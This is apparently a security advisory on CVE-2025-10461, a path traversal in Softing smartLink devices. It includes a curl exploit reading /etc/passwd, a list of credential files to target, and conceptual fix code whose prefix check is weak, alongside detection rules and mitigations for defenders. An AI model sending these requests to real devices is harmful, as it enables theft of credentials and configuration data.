CVE-2025-10461

Executive Summary

CVE-2025-10461 is a critical path traversal vulnerability affecting Softing Industrial Automation GmbH's smartLink devices (SW-HT and SW-PN series) running on Docker. The vulnerability resides in the webserver's filesystem modules, where improper URL validation allows an unauthenticated attacker to perform global file reads. This can lead to the exposure of sensitive configuration files, credentials, and other system data. The vulnerability affects smartLink SW-HT through version 1.42 and smartLink SW-PN through version 1.03. No patch is currently available, and no public exploit code has been released. The CVSS score is currently unassigned, but the impact is considered high due to the potential for information disclosure.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in Softing's proprietary Docker-based smartLink products. The supply chain risk is limited to organizations that deploy these specific industrial automation gateways.

CVSS Breakdown & Threat Level

The CVSS score for CVE-2025-10461 is currently 0.0 (UNASSIGNED). However, based on the vulnerability description and impact, a reasonable estimated CVSS vector would be:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions are required for exploitation.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): High – Sensitive files can be read.
• Integrity (I): None – No file modification is possible.
• Availability (A): None – No denial of service.

Threat Level: High – The vulnerability allows unauthenticated remote file reads, which can expose critical system and application data.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) flaw in the webserver component of Softing smartLink devices. The webserver is responsible for serving files from the filesystem modules. Due to improper URL checks, an attacker can inject path traversal sequences (e.g., ../) into the URL to escape the intended web root directory and read arbitrary files on the host system.

Root Cause: The webserver fails to sanitize or validate user-supplied input in the URL path. Specifically, it does not check for or block sequences like ../ or ..\\ that allow navigation to parent directories.

Attack Vector: An unauthenticated attacker sends a crafted HTTP GET request to the smartLink webserver. The request includes path traversal sequences to access files outside the web root.

Impact: Successful exploitation allows the attacker to read any file that the webserver process has access to. This includes:

• Configuration files (e.g., config.xml, settings.ini)
• Credential files (e.g., passwd, shadow, .env)
• Application source code
• System files (e.g., /etc/passwd, /proc/self/environ)

Affected Components:

• smartLink SW-HT (all versions up to and including 1.42)
• smartLink SW-PN (all versions up to and including 1.03)

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, a secure implementation would include:

Vulnerable Code (Conceptual):

# Vulnerable: Directly uses user input to construct file path
def serve_file(request):
    file_path = request.path  # e.g., "/../../../etc/passwd"
    with open(file_path, 'r') as f:
        return f.read()

Patched Code (Conceptual):

# Patched: Validates and sanitizes the file path
import os

def serve_file(request):
    base_dir = "/var/www/html"
    requested_path = request.path.lstrip('/')
    # Resolve the path and ensure it stays within base_dir
    full_path = os.path.normpath(os.path.join(base_dir, requested_path))
    if not full_path.startswith(base_dir):
        return "Forbidden", 403
    with open(full_path, 'r') as f:
        return f.read()

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy a vulnerable smartLink SW-HT or SW-PN device (version <= 1.42 or <= 1.03) in a Docker container.
2. Ensure the webserver is accessible on port 80 or 443.

Exploitation Steps:

1. Identify the target IP address (e.g., 192.168.1.100).
2. Send a crafted HTTP GET request with path traversal sequences.

Example Request:

GET /../../../etc/passwd HTTP/1.1
Host: 192.168.1.100

Using cURL:

curl --path-as-is http://192.168.1.100/../../../etc/passwd

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Additional Targets:

• /proc/self/environ – Environment variables
• /etc/shadow – Password hashes (if readable)
• /var/log/syslog – System logs
• /opt/smartlink/config.xml – Application configuration

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for requests containing ../ or ..\\ sequences.
• Alert on HTTP 200 responses to requests for sensitive files (e.g., /etc/passwd, /etc/shadow).
• Use network intrusion detection systems (NIDS) to detect path traversal patterns.

Response:

1. Isolate the affected device from the network.
2. Review web server logs for indicators of compromise.
3. Check for unauthorized file access or data exfiltration.
4. Apply vendor patches when available.
5. Implement network segmentation to limit exposure.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests containing ../ or ..\\ sequences.
• Requests to paths like /../../../etc/passwd, /../../../etc/shadow, /../../../proc/self/environ.
• Unusual outbound data transfers from the smartLink device.

File System IOCs:

• Unexpected access to /etc/passwd, /etc/shadow, or other sensitive files.
• Modified timestamps on configuration files.
• Presence of suspicious files in the web root.

Log IOCs:

• Web server logs showing path traversal attempts.
• System logs indicating unauthorized file access.

Detection Engineering

YARA Rule

rule CVE_2025_10461_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting Softing smartLink devices"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10461"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $sensitive1 = "/etc/passwd"
        $sensitive2 = "/etc/shadow"
        $sensitive3 = "/proc/self/environ"
    condition:
        any of ($traversal*) and any of ($sensitive*)
}

Sigma Rule

title: CVE-2025-10461 Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with path traversal sequences targeting Softing smartLink devices
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-10461
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '/etc/passwd'
            - '/etc/shadow'
            - '/proc/self/environ'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in web applications (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10461 Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"../"; http_uri; content:"/etc/passwd"; http_uri; sid:1000001; rev:1; reference:cve,2025-10461;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate smartLink devices on a separate VLAN with strict firewall rules.
2. Access Control: Restrict access to the webserver to trusted IP addresses only.
3. Web Application Firewall (WAF): Deploy a WAF to block path traversal patterns (e.g., ../, ..\\).

Long-Term Fix:

• Apply vendor patches as soon as they become available.
• Upgrade to patched versions of smartLink SW-HT and SW-PN.
• Implement input validation and sanitization in the webserver code.

Workarounds:

• Disable the webserver if not required.
• Use a reverse proxy (e.g., Nginx) to filter malicious requests.

Valters IT
Securing Industrial Automation, One CVE at a Time.